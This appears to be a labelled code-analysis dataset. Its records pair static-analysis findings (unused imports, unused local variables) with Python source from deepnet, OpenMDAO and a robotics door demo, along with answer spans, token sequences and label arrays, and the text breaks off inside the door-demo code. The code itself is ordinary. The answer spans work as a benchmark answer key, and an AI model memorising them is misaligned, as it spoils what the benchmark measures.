Unused import
nitishsrivastava/deepnet/deepnet/examples/multimodal_dbn/merge_dataset_pb.py
[ { "content": "from deepnet import util\nfrom deepnet import deepnet_pb2\nimport sys, os\nfrom google.protobuf import text_format\n\nproto1 = sys.argv[1]\nproto2 = sys.argv[2]\noutput_pbtxt = sys.argv[3]\n\nout_dir = '/'.join(output_pbtxt.split('/')[:-1])\nif out_dir and not os.path.isdir(out_dir):\n os.makedirs(out_dir)\ndataset1 = util.ReadData(proto1)\nname1 = dataset1.name\ndataset2 = util.ReadData(proto2)\nname2 = dataset2.name\n\ndataset1_prefix = dataset1.prefix\ndataset2_prefix = dataset2.prefix\nprefix = os.path.commonprefix([dataset1_prefix, dataset2_prefix])\n\nif dataset1_prefix != dataset2_prefix:\n for dataset in [dataset1, dataset2]:\n _prefix = dataset.prefix[len(prefix):]\n for d in dataset.data:\n if d.file_pattern:\n d.file_pattern = os.path.join(_prefix, d.file_pattern)\n if d.stats_file:\n d.file_pattern = os.path.join(_prefix, d.stats_file)\n\ndataset1.MergeFrom(dataset2)\ndataset1.name = '%s_%s' % (name1, name2)\ndataset1.prefix = prefix\n\nwith open(output_pbtxt, 'w') as f:\n text_format.PrintMessage(dataset1, f)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "from deepnet import deepnet_pb2", "start_line": 1, "start_column": 0, "end_line": 1, "end_column": 31 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "deep", "net_", "import_", "util_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "deep", "net_", "import_", "deep", "net", "\\u", "pb2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", ",_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "google_", "._", "protobuf_", "import_", "text", "\\u", "format_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "proto", "1_", "=_", "sys_", "._", "argv_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "proto", "2_", "=_", "sys_", "._", "argv_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output", "\\u", "pb", "txt_", "=_", "sys_", "._", "argv_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "out", "\\u", "dir_", "=_", "'/'_", "._", "join_", "(_", "output", "\\u", "pb", "txt_", "._", "split_", "(_", "'/'_", ")_", "[_", ":_", "-_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "out", "\\u", "dir_", "and_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "out", "\\u", "dir_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "makedirs_", "(_", "out", "\\u", "dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dataset", "1_", "=_", "util_", "._", "Read", "Data_", "(_", "proto", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name1_", "=_", "dataset", "1_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataset", "2_", "=_", "util_", "._", "Read", "Data_", "(_", "proto", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "name2_", "=_", "dataset", "2_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "dataset", "1", "\\u", "prefix_", "=_", "dataset", "1_", "._", "prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataset", "2", "\\u", "prefix_", "=_", "dataset", "2_", "._", "prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix_", "=_", "os_", "._", "path_", "._", "common", "prefix_", "(_", "[_", "dataset", "1", "\\u", "prefix_", ",_", "dataset", "2", "\\u", "prefix_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "dataset", "1", "\\u", "prefix_", "!=_", "dataset", "2", "\\u", "prefix_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "dataset_", "in_", "[_", "dataset", "1_", ",_", "dataset", "2_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u", "prefix_", "=_", "dataset_", "._", "prefix_", "[_", "len_", "(_", "prefix_", ")_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "d_", "in_", "dataset_", "._", "data_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "d_", "._", "file", "\\u", "pattern_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "._", "file", "\\u", "pattern_", "=_", "os_", "._", "path_", "._", "join_", "(_", "\\u", "prefix_", ",_", "d_", "._", "file", "\\u", "pattern_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "d_", "._", "stats", "\\u", "file_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "d_", "._", "file", "\\u", "pattern_", "=_", "os_", "._", "path_", "._", "join_", "(_", "\\u", "prefix_", ",_", "d_", "._", "stats", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "dataset", "1_", "._", "Merge", "From_", "(_", "dataset", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataset", "1_", "._", "name_", "=_", "'%", "s", "\\u", "%", "s", "'_", "%_", "(_", "name1_", ",_", "name2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dataset", "1_", "._", "prefix_", "=_", "prefix_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "open_", "(_", "output", "\\u", "pb", "txt_", ",_", "'", "w", "'_", ")_", "as_", "f_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "text", "\\u", "format_", "._", "Print", "Message_", "(_", "dataset", "1_", ",_", "f_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
OpenMDAO/OpenMDAO-Framework/openmdao.main/src/openmdao/main/container.py
[ { "content": " @rbac(('owner', 'user'))\n def set(self, path, value):\n \"\"\"Set the value of the Variable specified by the given path, which\n may contain '.' characters. The Variable will be set to the given\n value, subject to validation and constraints.\n \"\"\"\n _local_setter_ = value\n expr = self._setcache.get(path)\n if expr is not None:\n exec(expr)\n return\n\n obj, restofpath = proxy_parent(self, path)\n # if restofpath is truthy, it means either that path\n # contains a proxy or it contains some syntax that causes\n # getattr to fail, e.g., a function eval, array element ref, etc.\n\n if IOverrideSet.providedBy(obj) or (restofpath and IContainerProxy.providedBy(obj)):\n obj.set(restofpath, value)\n return\n\n # assume all local. just compile the expr and cache it if\n # it can be evaluated\n assign = \"self.%s=_local_setter_\" % path\n expr = compile(assign, assign, mode='exec')\n try:\n exec(expr)\n except Exception as err:\n self.raise_exception(str(err), err.__class__)\n else:\n self._setcache[path] = expr", "metadata": "root.Container.set", "header": "['class', 'Container', '(', 'SafeHasTraits', ')', ':', '___EOS___']", "index": 997 } ]
[ { "span": "_local_setter_ ", "start_line": 1003, "start_column": 8, "end_line": 1003, "end_column": 22 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Container_", "(_", "Safe", "Has", "Trait", "s_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "rbac", "_", "(_", "(_", "'", "owner", "'_", ",_", "'", "user", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "set_", "(_", "self_", ",_", "path_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Set", " ", "the", " ", "value", " ", "of", " ", "the", " ", "Varia", "ble", " ", "specified", " ", "by", " ", "the", " ", "give", "n", " ", "path", ",", " ", "whi", "ch", "\\", "10", ";", " ", " ", " ", " ", "may", " ", "contain", " ", "'.'", " ", "character", "s", ".", " ", "The", " ", "Varia", "ble", " ", "will", " ", "be", " ", "set", " ", "to", " ", "the", " ", "give", "n", "\\", "10", ";", " ", " ", " ", " ", "value", ",", " ", "subject", " ", "to", " ", "validation", " ", "and", " ", "constraint", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "local", "\\u", "sette", "r\\u_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expr_", "=_", "self_", "._", "\\u", "setc", "ache_", "._", "get_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "expr_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exec_", "(_", "expr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "obj_", ",_", "resto", "fpath_", "=_", "proxy", "\\u", "parent_", "(_", "self_", ",_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "if", " ", "resto", "fpath", " ", "is", " ", "truth", "y", ",", " ", "it", " ", "means", " ", "eit", "her", " ", "tha", "t", " ", "path_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "contain", "s", " ", "a", " ", "proxy", " ", "or", " ", "it", " ", "contain", "s", " ", "some", " ", "synta", "x", " ", "tha", "t", " ", "caus", "es_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "getattr", " ", "to", " ", "fail", ",", " ", "e", ".", "g", ".,", " ", "a", " ", "function", " ", "eval", ",", " ", "array", " ", "element", " ", "ref", ",", " ", "etc", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "IO", "ver", "ride", "Set_", "._", "provided", "By_", "(_", "obj_", ")_", "or_", "(_", "resto", "fpath_", "and_", "IC", "onta", "iner", "Proxy_", "._", "provided", "By_", "(_", "obj_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "obj_", "._", "set_", "(_", "resto", "fpath_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "assume", " ", "all", " ", "local", ".", " ", " ", "just", " ", "compile", " ", "the", " ", "expr", " ", "and", " ", "cache", " ", "it", " ", "if_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "it", " ", "can", " ", "be", " ", "evaluate", "d_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assign_", "=_", "\"", "self", ".", "%", "s", "=", "\\u", "local", "\\u", "sette", "r", "\\u\"_", "%_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expr_", "=_", "compile_", "(_", "assign_", ",_", "assign_", ",_", "mode_", "=_", "'", "exec", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "exec_", "(_", "expr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", "as_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "raise", "\\u", "exception_", "(_", "str_", "(_", "err_", ")_", ",_", "err_", "._", "\\u\\u", "class\\u\\u_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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
RobotLocomotion/director/src/python/director/doordemo.py
[ { "content": "import os\nimport sys\nimport vtkAll as vtk\nimport math\nimport time\nimport types\nimport functools\nimport numpy as np\n\nfrom director import transformUtils\nfrom director import lcmUtils\nfrom director.timercallback import TimerCallback\nfrom director.asynctaskqueue import AsyncTaskQueue\nfrom director.fieldcontainer import FieldContainer\nfrom director import objectmodel as om\nfrom director import visualization as vis\nfrom director import applogic as app\nfrom director.debugVis import DebugData\nfrom director import ik\nfrom director.ikparameters import IkParameters\nfrom director import ikplanner\nfrom director import ioUtils\nfrom director import affordanceitems\nfrom director.simpletimer import SimpleTimer\nfrom director.utime import getUtime\nfrom director import robotstate\nfrom director import robotplanlistener\nfrom director import segmentation\nfrom director import planplayback\nfrom director.footstepsdriver import FootstepRequestGenerator\nfrom director.tasks.taskuserpanel import TaskUserPanel\nfrom director.tasks.taskuserpanel import ImageBasedAffordanceFit\n\n\nimport director.tasks.robottasks as rt\nimport director.tasks.taskmanagerwidget as tmw\n\nimport drc as lcmdrc\n\nfrom PythonQt import QtCore, QtGui\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class DoorDemo(object):\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n #def planHandlePushLift(self):\n\n #self.ikPlanner.ikServer.usePointwise = False\n #self.ikPlanner.ikServer.maxDegreesPerSecond = 10\n #self.ikPlanner.maxBaseMetersPerSecond = 0.01\n\n #startPose = self.getPlanningStartPose()\n #constraintSet = self.ikPlanner.planEndEffectorGoal(startPose, self.graspingHand, self.doorHandlePushLiftFrame)\n #endPose, info = constraintSet.runIk()\n #plan = constraintSet.runIkTraj()\n\n #self.ikPlanner.ikServer.maxDegreesPerSecond = 30\n #self.ikPlanner.maxBaseMetersPerSecond = 0.05\n\n #self.addPlan(plan)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n", "metadata": "root.DoorDemo", "header": "['module', '___EOS___']", "index": 42 }, { "content": " def __init__(self, robotModel, footstepPlanner, manipPlanner, ikPlanner, lhandDriver, rhandDriver, atlasDriver, multisenseDriver, affordanceFitFunction, sensorJointController, planPlaybackFunction, showPoseFunction):\n self.robotModel = robotModel\n self.footstepPlanner = footstepPlanner\n self.manipPlanner = manipPlanner\n self.ikPlanner = ikPlanner\n self.lhandDriver = lhandDriver\n self.rhandDriver = rhandDriver\n self.atlasDriver = atlasDriver\n self.multisenseDriver = multisenseDriver\n self.affordanceFitFunction = affordanceFitFunction\n self.sensorJointController = sensorJointController\n self.planPlaybackFunction = planPlaybackFunction\n self.showPoseFunction = showPoseFunction\n self.graspingHand = 'left'\n\n self.endPose = None\n\n self.planFromCurrentRobotState = True\n self.visOnly = False\n self.useFootstepPlanner = False\n self.userPromptEnabled = True\n\n self.constraintSet = None\n self.plans = []\n\n self.usePinchGrasp = False\n self.pinchDistance = 0.1\n self.doorHandleFrame = None\n self.doorHandleGraspFrame = None\n self.doorHingeFrame = None\n\n self.handleTouchHeight = 0.0\n self.handleTouchDepth = -0.08\n self.handleTouchWidth = 0.06\n\n self.handleReachAngle = 20\n\n self.handleTurnHeight = -0.08\n self.handleTurnWidth = 0.01\n self.handleTurnAngle = 60\n\n self.handleLiftHeight = 0.12\n self.handlePushDepth = 0.0\n self.handlePushAngle = 2\n self.handleOpenDepth = 0.1\n self.handleOpenWidth = 0.4\n\n self.speedHigh = 60\n self.speedLow = 15\n\n self.setFootstepThroughDoorParameters()\n\n self.setChopParametersToDefaults()", "metadata": "root.DoorDemo.__init__", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 44 }, { "content": " def setChopParametersToDefaults(self):\n\n self.preChopDepth = -0.06\n self.preChopWidth = -0.08\n self.preChopHeight = 0.10\n self.chopDistance = -0.15\n self.chopSidewaysDistance = 0.03", "metadata": "root.DoorDemo.setChopParametersToDefaults", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 99 }, { "content": " def addPlan(self, plan):\n self.plans.append(plan)", "metadata": "root.DoorDemo.addPlan", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 107 }, { "content": " def computeGraspOrientation(self):\n return [180 + self.handleReachAngle, 0, 90]", "metadata": "root.DoorDemo.computeGraspOrientation", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 111 }, { "content": " def computeGroundFrame(self, robotModel):\n '''\n Given a robol model, returns a vtkTransform at a position between\n the feet, on the ground, with z-axis up and x-axis aligned with the\n robot pelvis x-axis.\n '''\n t1 = robotModel.getLinkFrame('l_foot')\n t2 = robotModel.getLinkFrame('r_foot')\n pelvisT = robotModel.getLinkFrame('pelvis')\n\n xaxis = [1.0, 0.0, 0.0]\n pelvisT.TransformVector(xaxis, xaxis)\n xaxis = np.array(xaxis)\n zaxis = np.array([0.0, 0.0, 1.0])\n yaxis = np.cross(zaxis, xaxis)\n yaxis /= np.linalg.norm(yaxis)\n xaxis = np.cross(yaxis, zaxis)\n\n stancePosition = (np.array(t2.GetPosition()) + np.array(t1.GetPosition())) / 2.0\n\n footHeight = 0.0811\n\n t = transformUtils.getTransformFromAxes(xaxis, yaxis, zaxis)\n t.PostMultiply()\n t.Translate(stancePosition)\n t.Translate([0.0, 0.0, -footHeight])\n\n return t", "metadata": "root.DoorDemo.computeGroundFrame", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 114 }, { "content": " def computeDoorHandleGraspFrame(self):\n doorSide = 1 if self.graspingHand == 'left' else -1\n graspOrientation = self.computeGraspOrientation()\n self.doorHandleAxisFrame = self.computeDoorHandleAxisFrame()\n\n def makeFrame(name, offset, turnAngle=0):\n t = transformUtils.frameFromPositionAndRPY(offset, graspOrientation)\n t.PostMultiply()\n t.Concatenate(transformUtils.frameFromPositionAndRPY([0.0, 0.0, 0.0], [-turnAngle, 0, 0]))\n t.Concatenate(transformUtils.copyFrame(self.doorHandleAxisFrame.transform))\n return vis.updateFrame(t, name, parent=self.doorHandleAffordance, visible=False, scale=0.2)\n\n def makeFrameNew(name, transforms):\n t = transformUtils.concatenateTransforms(transforms)\n return vis.updateFrame(t, name, parent=self.doorHandleAffordance, visible=False, scale=0.2)\n\n graspToAxisTransform = transformUtils.frameFromPositionAndRPY([0.0, 0.0, 0.0],\n graspOrientation)\n self.doorHandleGraspFrame = makeFrameNew('door handle grasp frame',\n [graspToAxisTransform,\n self.doorHandleAxisFrame.transform])\n\n if self.usePinchGrasp:\n reachToGraspTransform = transformUtils.frameFromPositionAndRPY([-doorSide*self.handleTouchWidth,\n self.handleTouchDepth,\n -self.handleTouchHeight],\n [0.0, 0.0, 0.0])\n self.doorHandleReachFrame = makeFrameNew('door handle reach frame', [reachToGraspTransform,\n self.doorHandleGraspFrame.transform])\n\n handleTurnTransform = transformUtils.frameFromPositionAndRPY([0.0, 0.0, 0.0], [-self.handleTurnAngle, 0, 0])\n self.doorHandleTurnFrame = makeFrameNew('door handle turn frame', [reachToGraspTransform,\n graspToAxisTransform,\n handleTurnTransform,\n self.doorHandleAxisFrame.transform])\n\n handlePushTransform = transformUtils.frameFromPositionAndRPY([0.0, 0.0, 0.0],\n [0, 0, self.handlePushAngle])\n self.doorHandlePushFrame = makeFrameNew('door handle push frame',\n [self.doorHandleTurnFrame.transform,\n self.doorHingeFrame.transform.GetInverse(),\n handlePushTransform,\n self.doorHingeFrame.transform])\n\n self.doorHandlePushLiftFrame = makeFrameNew('door handle push lift frame',\n [self.doorHandleReachFrame.transform,\n self.doorHingeFrame.transform.GetInverse(),\n handlePushTransform,\n self.doorHingeFrame.transform])\n\n self.doorHandlePushLiftAxisFrame = makeFrameNew('door handle push lift axis frame',\n [self.doorHandleAxisFrame.transform,\n self.doorHingeFrame.transform.GetInverse(),\n handlePushTransform,\n self.doorHingeFrame.transform])\n\n\n self.doorHandlePushOpenFrame = makeFrame('door handle push open frame', [self.handleOpenDepth, self.handleOpenWidth, self.handleLiftHeight])\n\n t = vtk.vtkTransform()\n t.PostMultiply()\n t.RotateX(25)\n t.Concatenate(self.doorHandlePushOpenFrame.transform)\n self.doorHandlePushOpenFrame.copyFrame(t)\n else:\n reachToAxisTransform = transformUtils.frameFromPositionAndRPY([self.preChopDepth,\n doorSide*self.preChopWidth,\n self.preChopHeight],\n [0, 90, -90])\n\n obj = om.findObjectByName('door handle reach frame')\n self.doorHandleReachFrame = makeFrameNew('door handle reach frame',\n [reachToAxisTransform, self.doorHandleAxisFrame.transform])\n\n # the first time the frame is created, set some display properties\n if not obj:\n obj = self.doorHandleReachFrame\n obj.setProperty('Edit', True)\n obj.setProperty('Visible', True)\n rep = obj.widget.GetRepresentation()\n rep.SetRotateAxisEnabled(0, False)\n rep.SetRotateAxisEnabled(1, False)\n rep.SetRotateAxisEnabled(2, False)\n obj.widget.HandleRotationEnabledOff()\n obj.setProperty('Edit', False)\n\n\n preChopToReachTransform = transformUtils.frameFromPositionAndRPY([0.0,\n -0.15,\n 0.0],\n [0, 0, 0])\n self.doorHandlePreChopFrame = makeFrameNew('door handle pre-chop frame',\n [preChopToReachTransform, self.doorHandleReachFrame.transform])\n\n\n self.doorHandleFrame.frameSync = vis.FrameSync()\n self.doorHandleFrame.frameSync.addFrame(self.doorHandleFrame)\n self.doorHandleFrame.frameSync.addFrame(self.doorHandleAxisFrame)\n self.doorHandleFrame.frameSync.addFrame(self.doorHandleGraspFrame, ignoreIncoming=True)\n self.doorHandleFrame.frameSync.addFrame(self.doorHandleReachFrame, ignoreIncoming=True)\n if self.usePinchGrasp:\n self.doorHandleFrame.frameSync.addFrame(self.doorHandleTurnFrame, ignoreIncoming=True)\n self.doorHandleFrame.frameSync.addFrame(self.doorHandlePushFrame, ignoreIncoming=True)\n self.doorHandleFrame.frameSync.addFrame(self.doorHandlePushLiftFrame, ignoreIncoming=True)\n self.doorHandleFrame.frameSync.addFrame(self.doorHandlePushLiftAxisFrame, ignoreIncoming=True)\n self.doorHandleFrame.frameSync.addFrame(self.doorHandlePushOpenFrame, ignoreIncoming=True)\n else:\n self.doorHandleFrame.frameSync.addFrame(self.doorHandlePreChopFrame, ignoreIncoming=True)", "metadata": "root.DoorDemo.computeDoorHandleGraspFrame", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 144 }, { "content": " def computeDoorHandleAxisFrame(self):\n handleLength = self.doorHandleAffordance.getProperty('Dimensions')[1]\n doorSide = 1 if self.graspingHand == 'left' else -1\n t = transformUtils.frameFromPositionAndRPY([0.0, doorSide*handleLength/2.0, 0.0], [0, 0, 0])\n t.PostMultiply()\n t.Concatenate(transformUtils.copyFrame(self.doorHandleFrame.transform))\n return vis.updateFrame(t, 'door handle axis frame', parent=self.doorHandleAffordance,\n visible=False, scale=0.2)", "metadata": "root.DoorDemo.computeDoorHandleAxisFrame", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 254 }, { "content": " def computeDoorHingeFrame(self):\n doorSide = 1 if self.graspingHand == 'left' else -1\n doorAffordance = om.findObjectByName('door')\n doorDimensions = doorAffordance.getProperty('Dimensions')\n doorDepth = doorDimensions[0]\n doorWidth = doorDimensions[1]\n t = transformUtils.frameFromPositionAndRPY([doorDepth/2, -doorSide*doorWidth/2.0, 0.0], [0, 0, 0])\n t.PostMultiply()\n t.Concatenate(transformUtils.copyFrame(doorAffordance.getChildFrame().transform))\n self.doorHingeFrame = vis.updateFrame(t, 'door hinge frame', parent=doorAffordance,\n visible=False, scale=0.2)\n return self.doorHingeFrame", "metadata": "root.DoorDemo.computeDoorHingeFrame", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 264 }, { "content": " def computeDoorHandleStanceFrame(self):\n\n graspFrame = self.doorHandleFrame.transform\n\n groundFrame = self.computeGroundFrame(self.robotModel)\n groundHeight = groundFrame.GetPosition()[2]\n\n graspPosition = np.array(graspFrame.GetPosition())\n xaxis = [1.0, 0.0, 0.0]\n yaxis = [0.0, 1.0, 0.0]\n zaxis = [0, 0, 1]\n graspFrame.TransformVector(xaxis, xaxis)\n graspFrame.TransformVector(yaxis, yaxis)\n\n yaxis = np.cross(zaxis, xaxis)\n yaxis /= np.linalg.norm(yaxis)\n xaxis = np.cross(yaxis, zaxis)\n\n graspGroundFrame = transformUtils.getTransformFromAxes(xaxis, yaxis, zaxis)\n graspGroundFrame.PostMultiply()\n graspGroundFrame.Translate(graspPosition[0], graspPosition[1], groundHeight)\n\n\n #position = [-0.75, 0.3, 0.0]\n #rpy = [0, 0, -30]\n\n position = [-0.77, 0.4, 0.0]\n rpy = [0, 0, -20]\n\n\n t = transformUtils.frameFromPositionAndRPY(position, rpy)\n t.Concatenate(graspGroundFrame)\n\n self.doorHandleStanceFrame = vis.updateFrame(t, 'door handle grasp stance', parent=self.doorHandleAffordance, visible=True, scale=0.2)\n #self.frameSync.addFrame(self.doorHandleStanceFrame)", "metadata": "root.DoorDemo.computeDoorHandleStanceFrame", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 278 }, { "content": " def moveRobotToStanceFrame(self):\n frame = self.doorHandleStanceFrame.transform\n\n self.sensorJointController.setPose('q_nom')\n stancePosition = frame.GetPosition()\n stanceOrientation = frame.GetOrientation()\n\n self.sensorJointController.q[:2] = [stancePosition[0], stancePosition[1]]\n self.sensorJointController.q[5] = math.radians(stanceOrientation[2])\n self.sensorJointController.push()", "metadata": "root.DoorDemo.moveRobotToStanceFrame", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 314 }, { "content": " def planNominal(self):\n startPose = self.getPlanningStartPose()\n endPose = self.ikPlanner.getMergedPostureFromDatabase(startPose, 'General', 'safe nominal')\n endPose, info = self.ikPlanner.computeStandPose(endPose)\n newPlan = self.ikPlanner.computePostureGoal(startPose, endPose)\n self.addPlan(newPlan)", "metadata": "root.DoorDemo.planNominal", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 326 }, { "content": " def planPreReach(self):\n\n ikParameters = IkParameters(usePointwise=False, maxDegreesPerSecond=self.speedHigh)\n nonGraspingHand = 'right' if self.graspingHand == 'left' else 'left'\n\n startPose = self.getPlanningStartPose()\n\n if self.usePinchGrasp:\n endPose = self.ikPlanner.getMergedPostureFromDatabase(startPose, 'door',\n 'pre-reach grasping',\n side=self.graspingHand)\n else:\n endPose = self.ikPlanner.getMergedPostureFromDatabase(startPose, 'door',\n 'pre-reach chop',\n side=self.graspingHand)\n\n endPose = self.ikPlanner.getMergedPostureFromDatabase(endPose, 'door',\n 'pre-reach non-grasping',\n side=nonGraspingHand)\n endPose, info = self.ikPlanner.computeStandPose(endPose, ikParameters=ikParameters)\n newPlan = self.ikPlanner.computePostureGoal(startPose, endPose, ikParameters=ikParameters)\n self.addPlan(newPlan)", "metadata": "root.DoorDemo.planPreReach", "header": "['class', 'DoorDemo', '(', 'object', ')', ':', '___EOS___']", "index": 334 }, { "content": " def planUnReach(self):\n\n ikParameters = IkParameters(usePointwise=False, maxDegreesPerSecond=self.speedLow)\n\n startPose = self.getPlanningStartPose()\n endPose = self.ikPlanner.getMergedPostureFromDatabase(startPose, 'door',\n 'pre-reach grasping',\n side=self.graspingHand)\n endPose, info = self.ikPlanner.computeStandPose(endPose, ikParameters=ikParameters)\n newPlan = self.ikPlanner.computePostureGoal(startPose, endPose, ikParameters=ikParameters)\n 